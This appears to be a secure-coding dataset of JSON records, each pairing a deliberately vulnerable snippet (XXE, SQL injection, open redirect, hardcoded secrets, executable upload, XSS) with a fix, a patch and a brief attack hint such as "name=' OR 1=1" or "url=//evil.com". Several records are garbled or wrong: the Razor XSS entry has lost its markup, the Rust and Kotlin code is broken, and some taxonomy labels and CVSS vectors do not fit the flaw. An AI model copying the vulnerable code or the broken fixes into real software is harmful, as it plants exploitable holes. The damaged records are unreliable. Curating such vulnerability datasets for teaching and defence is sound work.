{"id": "SCP-000363", "language": "PHP", "framework": "Laravel", "title": "Verbose error display", "description": "APP_DEBUG=true in production leaks stack traces.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-209", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "APP_DEBUG=true # Vulnerable: leaks in prod\\", "secure_code": "APP_DEBUG=false # Secure: off in prod\\", "patch": "--- a/.env\\n+++ b/.env\\n@@ -1,2 +1,2 @@\\n-APP_DEBUG=true\\n+APP_DEBUG=false\\", "root_cause": "Debug on in production.", "attack": "Trigger error to read source.", "impact": "Info disclosure.", "fix": "APP_DEBUG=false.", "guideline": "Never debug in prod.", "tags": ["info-leak", "php", "laravel", "config"], "metadata": {"domain": "Backend", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000480", "language": "Python", "framework": "Flask", "title": "Logging injection via unsanitized input", "description": "Flask logs user input containing newlines, enabling log forging.", "owasp": "A09:2021 - Logging Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-117", "mitre_attack": "T1190", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "logger.info(\"user %s logged in\", request.args.get(\"u\"))", "secure_code": "u = request.args.get(\"u\", \"\").replace(\"\\n\", \" \").replace(\"\\r\", \" \")\nlogger.info(\"user %s logged in\", u)", "patch": "--- a/views.py\n+++ b/views.py\n@@ -1,2 +1,3 @@\n-logger.info(\"user %s logged in\", request.args.get(\"u\"))\n+u = request.args.get(\"u\", \"\").replace(\"\\n\", \" \").replace(\"\\r\", \" \")\n+logger.info(\"user %s logged in\", u)", "root_cause": "Unsanitized log input.", "attack": "Inject fake log lines.", "impact": "Log integrity loss.", "fix": "Sanitize log input.", "guideline": "Strip newlines from log data.", "tags": ["logging", "flask", "python", "log-injection"], "metadata": {"auth_required": false, "domain": "Backend", "input_source": "query_param"}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000139", "language": "Python", "framework": "Flask", "title": "XML external entity in report generator", "description": "A Flask endpoint parses uploaded XML with ET.fromstring without disabling entities.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-611", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "import xml.etree.ElementTree as ET\ndef parse(data):\n return ET.fromstring(data) # Vulnerable: external entities on by default", "secure_code": "from defusedxml.ElementTree import fromstring # Secure\nimport defusedxml\ndef parse(data):\n return fromstring(data) # disables DTD/external entities\n", "patch": "--- a/xmlparse.py\n+++ b/xmlparse.py\n@@ -1,4 +1,4 @@\n-import xml.etree.ElementTree as ET\n-def parse(data):\n- return ET.fromstring(data)\n+from defusedxml.ElementTree import fromstring\n+def parse(data):\n+ return fromstring(data)", "root_cause": "Stdlib XML parser allows external entity resolution.", "attack": "DOCTYPE with SYSTEM entity reads /etc/passwd.", "impact": "File disclosure, SSRF.", "fix": "Use defusedxml or disable DTDs.", "guideline": "Parse XML with defusedxml.", "tags": ["xxe", "flask", "python", "xml"], "metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000400", "language": "Kotlin", "framework": "Android", "title": "Insecure deep link handling", "description": "A deep link handler trusts host input for navigation/actions.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "val action = intent.data?.getQueryParameter(\"action\") // Vulnerable: trusted blindly\\", "secure_code": "val action = intent.data?.getQueryParameter(\"action\")\\nif (action !in setOf(\"view\", \"share\")) return // Secure: allowlist\\", "patch": "--- a/DeepLink.kt\\n+++ b/DeepLink.kt\\n@@ -1,3 +1,4 @@\\n-val action = intent.data?.getQueryParameter(\"action\")\\n+if (action !in setOf(\"view\", \"share\")) return\\", "root_cause": "Untrusted deep link param.", "attack": "Craft deeplink for unintended action.", "impact": "Phishing/abuse.", "fix": "Allowlist actions.", "guideline": "Validate deep link params.", "tags": ["deep-link", "kotlin", "android", "phishing"], "metadata": {"domain": "Mobile", "input_source": "deeplink", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000247", "language": "Ruby", "framework": "Rails", "title": "Weak secret token in secrets.yml", "description": "A Rails app commits a static secret_key_base.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "production:\n secret_key_base: \"abc123static\" # Vulnerable", "secure_code": "production:\n secret_key_base: \"<%= ENV[\"SECRET_KEY_BASE\"] %>\" # Secure: env", "patch": "--- a/config/secrets.yml\n+++ b/config/secrets.yml\n@@ -1,3 +1,3 @@\n-production:\n secret_key_base: \"abc123static\"\n+production:\n secret_key_base: \"<%= ENV[\"SECRET_KEY_BASE\"] %>\"", "root_cause": "Static secret in repo.", "attack": "Forge signed cookies.", "impact": "Auth bypass.", "fix": "Load from env/secret.", "guideline": "Externalize secret_key_base.", "tags": ["secrets", "rails", "ruby", "config"], "metadata": {"domain": "Backend", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000395", "language": "Kotlin", "framework": "Android", "title": "SQL injection via content resolver", "description": "A content resolver query concatenates selection args.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-89", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "cr.query(uri, null, \"name='\" + name + \"'\", null, null) // Vulnerable\\", "secure_code": "cr.query(uri, null, \"name=?\", arrayOf(name), null) // Secure: selection arg\\", "patch": "--- a/Provider.kt\\n+++ b/Provider.kt\\n@@ -1,3 +1,3 @@\\n-cr.query(uri, null, \"name='\" + name + \"'\", null, null)\\n+cr.query(uri, null, \"name=?\", arrayOf(name), null)\\", "root_cause": "Concatenated selection.", "attack": "name=' OR 1=1 leaks rows.", "impact": "Data disclosure.", "fix": "Use selection args.", "guideline": "Bind SQL/selection args.", "tags": ["sqli", "kotlin", "android", "injection"], "metadata": {"domain": "Mobile", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000475", "language": "Python", "framework": "FastAPI", "title": "Weak password policy", "description": "Signup does not enforce password complexity.", "owasp": "A07:2021 - Auth Failures", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-521", "mitre_attack": "T1110", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "def signup(pw: str):\n create_user(pw) # any pw", "secure_code": "import re\ndef signup(pw: str):\n if not re.match(r\"^(?=.*[A-Z])(?=.*[0-9]).{8,}$\", pw):\n raise HTTPException(400)\n create_user(pw)", "patch": "--- a/auth.py\n+++ b/auth.py\n@@ -1,3 +1,5 @@\n-def signup(pw: str):\n- create_user(pw)\n+import re\n+def signup(pw: str):\n+ if not re.match(r\"^(?=.*[A-Z])(?=.*[0-9]).{8,}$\", pw):\n+ raise HTTPException(400)\n+ create_user(pw)", "root_cause": "No password policy.", "attack": "Weak/crackable passwords.", "impact": "Account takeover.", "fix": "Enforce complexity.", "guideline": "Strong password policy.", "tags": ["passwords", "fastapi", "python", "auth"], "metadata": {"auth_required": false, "domain": "Authentication systems", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000284", "language": "C++", "framework": "STD", "title": "Null pointer dereference", "description": "A C++ function dereferences a pointer that may be null.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-476", "mitre_attack": "T1203 - Exploitation for Client Execution", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "void show(User* u) {\n std::cout << u->name; // Vulnerable: u may be null\n}", "secure_code": "void show(User* u) {\n if (!u) return; // Secure: null check\n std::cout << u->name;\n}", "patch": "--- a/show.cpp\n+++ b/show.cpp\n@@ -1,3 +1,4 @@\n- std::cout << u->name;\n+ if (!u) return;\n+ std::cout << u->name;", "root_cause": "Missing null check.", "attack": "Pass null to crash.", "impact": "DoS.", "fix": "Check before deref.", "guideline": "Null-check inputs.", "tags": ["null-deref", "cpp", "memory-safety"], "metadata": {"domain": "IoT", "input_source": "argv", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000088", "language": "Java", "framework": "Spring Boot", "title": "Rounding error in interest calculation", "description": "A Spring service uses binary floating point for money, causing rounding drift.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-682", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "public BigDecimal interest(double principal, double rate) {\n // Vulnerable: double for currency\n return BigDecimal.valueOf(principal * rate);\n}\n", "secure_code": "public BigDecimal interest(BigDecimal principal, BigDecimal rate) {\n // Secure: BigDecimal throughout, explicit rounding\n return principal.multiply(rate)\n .setScale(2, RoundingMode.HALF_UP);\n}\n", "patch": "--- a/InterestService.java\n+++ b/InterestService.java\n@@ -1,4 +1,6 @@\n- return BigDecimal.valueOf(principal * rate);\n+ return principal.multiply(rate)\n+ .setScale(2, RoundingMode.HALF_UP);\n", "root_cause": "Binary floating point cannot represent decimal currency exactly, introducing drift.", "attack": "Repeated calculations accumulate cents of error, enabling arbitrage or loss.", "impact": "Incorrect balances, financial discrepancy.", "fix": "Use BigDecimal (or integer minor units) with explicit rounding for all money.", "guideline": "Never use float/double for currency; use BigDecimal with scale.", "tags": ["fintech", "spring", "java", "rounding"], "metadata": {"domain": "Banking", "input_source": "server", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000397", "language": "Kotlin", "framework": "Android", "title": "Insecure logging of secrets", "description": "An app logs sensitive data to logcat.", "owasp": "A09:2021 - Security Logging and Monitoring Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-532", "mitre_attack": "T1552 - Unsecured Credentials", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "Log.d(\"auth\", \"token=$token\") // Vulnerable: leaks to logcat\\", "secure_code": "// Never log secrets; use redacted identifiers\\nLog.d(\"auth\", \"tokenSet=true\") // Secure: no secret\\", "patch": "--- a/Auth.kt\\n+++ b/Auth.kt\\n@@ -1,3 +1,3 @@\\n-Log.d(\"auth\", \"token=$token\")\\n+Log.d(\"auth\", \"tokenSet=true\")\\", "root_cause": "Secrets in logs.", "attack": "Read logcat for tokens.", "impact": "Credential leak.", "fix": "Don't log secrets.", "guideline": "Redact sensitive logs.", "tags": ["logging", "kotlin", "android", "secrets"], "metadata": {"domain": "Mobile", "input_source": "device", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000322", "language": "Go", "framework": "Gin", "title": "Verbose error leak in response", "description": "A Go handler returns raw error messages including internals.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-209", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "c.JSON(500, gin.H{\"error\": err.Error()}) // Vulnerable: leaks internals", "secure_code": "c.JSON(500, gin.H{\"error\": \"internal_error\"}) // Secure: generic\nlog.Printf(\"err: %v\", err)", "patch": "--- a/handler.go\n+++ b/handler.go\n@@ -1,2 +1,3 @@\n-c.JSON(500, gin.H{\"error\": err.Error()})\n+c.JSON(500, gin.H{\"error\": \"internal_error\"})\n+log.Printf(\"err: %v\", err)", "root_cause": "Raw error to client.", "attack": "Extract stack/paths from errors.", "impact": "Info disclosure.", "fix": "Generic errors to client.", "guideline": "Log detailed, return generic.", "tags": ["info-leak", "go", "gin", "error-handling"], "metadata": {"domain": "Backend", "input_source": "server", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000037", "language": "Rust", "framework": "Actix", "title": "Revealing error in HTTP response", "description": "An Actix handler returns internal error strings (including DB errors) to the client.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-209", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "async fn create(req: web::Json- ) -> impl Responder {\n match repo.insert(&req.0) {\n Ok(id) => HttpResponse::Ok().json(id),\n // Vulnerable: leaks DB error text\n Err(e) => HttpResponse::InternalServerError().body(e.to_string()),\n }\n}\n", "secure_code": "async fn create(req: web::Json
- ) -> impl Responder {\n match repo.insert(&req.0) {\n Ok(id) => HttpResponse::Ok().json(id),\n Err(e) => {\n log::error!(\"insert failed: {:?}\", e); // server-only\n HttpResponse::InternalServerError().json(serde_json::json!({\"error\":\"internal\"}))\n }\n }\n}\n", "patch": "--- a/item.rs\n+++ b/item.rs\n@@ -4,3 +4,5 @@\n- Err(e) => HttpResponse::InternalServerError().body(e.to_string()),\n+ Err(e) => { log::error!(\"insert failed: {:?}\", e);\n+ HttpResponse::InternalServerError().json(json!({\"error\":\"internal\"})) }\n", "root_cause": "Internal error details are returned verbatim, exposing schema and internals.", "attack": "Trigger a DB error to learn table/column names and stack context.", "impact": "Information disclosure that aids further attacks.", "fix": "Log details server-side; return generic error messages to clients.", "guideline": "Return safe error codes; log the details where operators can see them.", "tags": ["info-leak", "rust", "actix", "error-handling"], "metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000342", "language": "C#", "framework": "ASP.NET Core", "title": "Missing antiforgery on POST", "description": "A POST action has no antiforgery token validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-352", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "[HttpPost(\"update\")]\\npublic IActionResult Update(Profile p) { repo.Save(p); return Ok(); } // Vulnerable: no CSRF\\", "secure_code": "[HttpPost(\"update\")]\\n[ValidateAntiForgeryToken] // Secure\\npublic IActionResult Update(Profile p) { repo.Save(p); return Ok(); }\\", "patch": "--- a/ProfileController.cs\\n+++ b/ProfileController.cs\\n@@ -1,4 +1,5 @@\\n+[ValidateAntiForgeryToken]\\n [HttpPost(\"update\")]\\n public IActionResult Update(Profile p) { repo.Save(p); return Ok(); }\\", "root_cause": "No CSRF token on POST.", "attack": "Cross-site POST forges update.", "impact": "Unauthorized change.", "fix": "Add antiforgery token.", "guideline": "Protect state changes.", "tags": ["csrf", "csharp", "aspnet", "config"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000360", "language": "PHP", "framework": "Laravel", "title": "XML external entity", "description": "A controller parses XML with external entity resolution on.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-611", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "$xml = simplexml_load_string($body, \"SimpleXMLElement\", LIBXML_NOENT); // Vulnerable: XXE\\", "secure_code": "libxml_disable_entity_loader(true);\\n$xml = simplexml_load_string($body, \"SimpleXMLElement\", LIBXML_NONET); // Secure\\", "patch": "--- a/XmlController.php\\n+++ b/XmlController.php\\n@@ -1,3 +1,4 @@\\n-$xml = simplexml_load_string($body, \"SimpleXMLElement\", LIBXML_NOENT);\\n+libxml_disable_entity_loader(true);\\n+$xml = simplexml_load_string($body, \"SimpleXMLElement\", LIBXML_NONET);\\", "root_cause": "External entities enabled.", "attack": "DOCTYPE reads files / SSRF.", "impact": "File disclosure.", "fix": "Disable entities.", "guideline": "Harden XML parsing.", "tags": ["xxe", "php", "laravel", "xml"], "metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000451", "language": "Python", "framework": "FastAPI", "title": "GraphQL introspection in prod", "description": "FastAPI GraphQL leaves introspection on in production.", "owasp": "A05:2021 - Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-215", "mitre_attack": "T1190", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "app.add_route(\"/graphql\", graphql_view(schema))", "secure_code": "app.add_route(\"/graphql\", graphql_view(schema, introspection=DEBUG))", "patch": "--- a/graphql.py\n+++ b/graphql.py\n@@ -1,2 +1,2 @@\n-app.add_route(\"/graphql\", graphql_view(schema))\n+app.add_route(\"/graphql\", graphql_view(schema, introspection=DEBUG))", "root_cause": "Introspection exposed.", "attack": "Map full schema for attacks.", "impact": "Info disclosure.", "fix": "Disable introspection in prod.", "guideline": "Limit GraphQL introspection.", "tags": ["graphql", "fastapi", "python", "config"], "metadata": {"auth_required": false, "domain": "REST API", "input_source": "server"}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000137", "language": "PHP", "framework": "Laravel", "title": "File upload with executable extension", "description": "A Laravel upload stores .php files in a web-accessible dir, enabling RCE.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-434", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "public function up(Request $r) {\n $r->file('f')->storeAs('public', $r->file('f')->getClientOriginalName()); // Vulnerable\n}", "secure_code": "public function up(Request $r) {\n $f = $r->file('f');\n if (!in_array($f->extension(), ['jpg','png','pdf'])) abort(415); // Secure\n $f->storeAs('private', Str::random(40).'.'.$f->extension());\n}", "patch": "--- a/UploadController.php\n+++ b/UploadController.php\n@@ -1,3 +1,5 @@\n- $r->file('f')->storeAs('public', $r->file('f')->getClientOriginalName());\n+ if (!in_array($f->extension(), ['jpg','png','pdf'])) abort(415);\n+ $f->storeAs('private', Str::random(40).'.'.$f->extension());", "root_cause": "Untrusted extension stored in public path enables webshell.", "attack": "Upload shell.php and request it for RCE.", "impact": "Remote code execution.", "fix": "Allowlist extensions; randomize names; store outside webroot.", "guideline": "Validate extension; store uploads outside webroot.", "tags": ["file-upload", "laravel", "php", "rce"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000354", "language": "PHP", "framework": "Laravel", "title": "IDOR on profile update", "description": "An update action uses a client-supplied user id.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-639", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "$u = User::find($request->input(\"user_id\")); $u->email = ...; // Vulnerable: arbitrary id\\", "secure_code": "$u = $request->user(); $u->email = ...; // Secure: current authenticated user\\", "patch": "--- a/ProfileController.php\\n+++ b/ProfileController.php\\n@@ -1,3 +1,3 @@\\n-$u = User::find($request->input(\"user_id\")); $u->email = ...;\\n+$u = $request->user(); $u->email = ...;\\", "root_cause": "Client id not bound to session.", "attack": "Edit any user by id.", "impact": "Account takeover.", "fix": "Use authenticated user.", "guideline": "Bind to session user.", "tags": ["idor", "php", "laravel", "access-control"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000108", "language": "C++", "framework": "Embedded", "title": "Unencrypted telemetry transmission", "description": "An IoT device sends sensor telemetry over plain HTTP, exposing it to interception.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-319", "mitre_attack": "T1557 - Adversary-in-the-Middle", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "void send_telemetry(const std::string& data) {\n // Vulnerable: plain HTTP\n http_post(\"http://collector/ingest\", data);\n}\n", "secure_code": "void send_telemetry(const std::string& data) {\n // Secure: HTTPS with cert pinning\n https_post(\"https://collector/ingest\", data, COLLECTOR_PINNED_CERT);\n}\n", "patch": "--- a/telemetry.cpp\n+++ b/telemetry.cpp\n@@ -2,4 +2,5 @@\n- http_post(\"http://collector/ingest\", data);\n+ https_post(\"https://collector/ingest\", data, COLLECTOR_PINNED_CERT);\n", "root_cause": "Telemetry is transmitted without transport encryption, exposing data in transit.", "attack": "On-path attacker reads sensor data or injects false telemetry.", "impact": "Data interception/modification.", "fix": "Use TLS with certificate pinning for all device communication.", "guideline": "Encrypt all device telemetry with TLS + cert pinning.", "tags": ["iot", "cpp", "tls", "telemetry"], "metadata": {"domain": "IoT", "input_source": "network", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000182", "language": "PHP", "framework": "Laravel", "title": "Open redirect in Laravel redirect()->to()", "description": "A Laravel controller redirects to user input without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "public function go(Request $r) {\n return redirect()->to($r->input('url')); // Vulnerable\n}", "secure_code": "public function go(Request $r) {\n $u = $r->input('url','/');\n if (!str_starts_with($u,'/') || str_starts_with($u,'//')) $u='/'; // Secure\n return redirect()->to($u);\n}", "patch": "--- a/LinkController.php\n+++ b/LinkController.php\n@@ -1,3 +1,5 @@\n- return redirect()->to($r->input('url'));\n+ $u = $r->input('url','/');\n+ if (!str_starts_with($u,'/') || str_starts_with($u,'//')) $u='/';\n+ return redirect()->to($u);", "root_cause": "Unvalidated redirect target.", "attack": "url=//evil.com phishing.", "impact": "Phishing.", "fix": "Allowlist relative paths.", "guideline": "Validate Laravel redirects.", "tags": ["open-redirect", "laravel", "php", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000190", "language": "C#", "framework": "ASP.NET Core", "title": "ViewBag XSS in Razor", "description": "An ASP.NET Core Razor view renders ViewBag content without encoding.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-79", "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "@* Vulnerable: raw HTML *@\n
@Html.Raw(ViewBag.Comment)
", "secure_code": "@* Secure: encoded *@\n@ViewBag.Comment
", "patch": "--- a/Views/Home/Index.cshtml\n+++ b/Views/Home/Index.cshtml\n@@ -1,2 +1,2 @@\n-@Html.Raw(ViewBag.Comment)
\n+@ViewBag.Comment
", "root_cause": "Html.Raw disables encoding on user data.", "attack": "Comment= runs.", "impact": "Stored XSS.", "fix": "Use default encoded output; avoid Html.Raw on user data.", "guideline": "Avoid Html.Raw on user input.", "tags": ["xss", "aspnet", "csharp", "razor"], "metadata": {"domain": "E-commerce", "input_source": "db", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000084", "language": "Go", "framework": "gRPC", "title": "Unbounded gRPC message size (DoS)", "description": "A gRPC server accepts arbitrarily large messages with no MaxRecvMsgSize limit.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-770", "mitre_attack": "T1499 - Endpoint Denial of Service", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "s := grpc.NewServer() // Vulnerable: default 4MB; raised nowhere, but no limit set\npb.RegisterSvcServer(s, &Server{})\n", "secure_code": "s := grpc.NewServer(\n grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n grpc.MaxConcurrentStreams(100))\npb.RegisterSvcServer(s, &Server{})\n", "patch": "--- a/server.go\n+++ b/server.go\n@@ -1,3 +1,5 @@\n-s := grpc.NewServer()\n+s := grpc.NewServer(\n+ grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n+ grpc.MaxConcurrentStreams(100))\n", "root_cause": "No explicit upper bound on inbound message size or concurrency invites memory exhaustion.", "attack": "Client streams huge payloads to exhaust server memory.", "impact": "Denial of service.", "fix": "Set MaxRecvMsgSize and MaxConcurrentStreams explicitly.", "guideline": "Bound gRPC message size and stream concurrency.", "tags": ["dos", "grpc", "go", "resource-exhaustion"], "metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000187", "language": "Python", "framework": "FastAPI", "title": "CORS allow credentials with wildcard origin", "description": "A FastAPI CORS config allows all origins with credentials.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-942", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "app.add_middleware(CORSMiddleware,\n allow_origins=['*'], allow_credentials=True) # Vulnerable", "secure_code": "app.add_middleware(CORSMiddleware,\n allow_origins=['https://app.example.com'], allow_credentials=True) # Secure", "patch": "--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,3 @@\n- allow_origins=['*'], allow_credentials=True\n+ allow_origins=['https://app.example.com'], allow_credentials=True", "root_cause": "Wildcard origin with credentials.", "attack": "Malicious site reads responses with victim cookies.", "impact": "Cross-origin data theft.", "fix": "Pin origins; never '*' with credentials.", "guideline": "Restrict CORS origins.", "tags": ["cors", "fastapi", "python", "config"], "metadata": {"domain": "E-commerce", "input_source": "header", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000336", "language": "C#", "framework": "ASP.NET Core", "title": "Open redirect", "description": "A returnUrl param is used directly in a redirect.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "return Redirect(returnUrl); // Vulnerable: unvalidated\\", "secure_code": "if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); // Secure\\nreturn RedirectToAction(\"Index\");\\", "patch": "--- a/AccountController.cs\\n+++ b/AccountController.cs\\n@@ -1,3 +1,4 @@\\n-return Redirect(returnUrl);\\n+if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl);\\n+return RedirectToAction(\"Index\");\\", "root_cause": "Unvalidated redirect.", "attack": "returnUrl=//evil.com phishing.", "impact": "Phishing.", "fix": "Use IsLocalUrl.", "guideline": "Validate redirects.", "tags": ["open-redirect", "csharp", "aspnet", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000243", "language": "Ruby", "framework": "Rails", "title": "Insecure comparison of session token", "description": "A Rails app compares tokens with == allowing timing attacks.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-208", "mitre_attack": "T1600 - Weaken Encryption", "severity": "Low", "difficulty": "Intermediate", "vulnerable_code": "def valid?(t); t == session[:token]; end # Vulnerable: timing", "secure_code": "def valid?(t)\n ActiveSupport::SecurityUtils.secure_compare(t, session[:token]) # Secure\nend", "patch": "--- a/session.rb\n+++ b/session.rb\n@@ -1,2 +1,3 @@\n-def valid?(t); t == session[:token]; end\n+def valid?(t)\n+ ActiveSupport::SecurityUtils.secure_compare(t, session[:token])\n+end", "root_cause": "Non-constant-time comparison.", "attack": "Brute-force token via timing.", "impact": "Token recovery.", "fix": "Use secure_compare.", "guideline": "Use constant-time comparison.", "tags": ["crypto", "rails", "ruby", "timing"], "metadata": {"domain": "Authentication systems", "input_source": "cookie", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
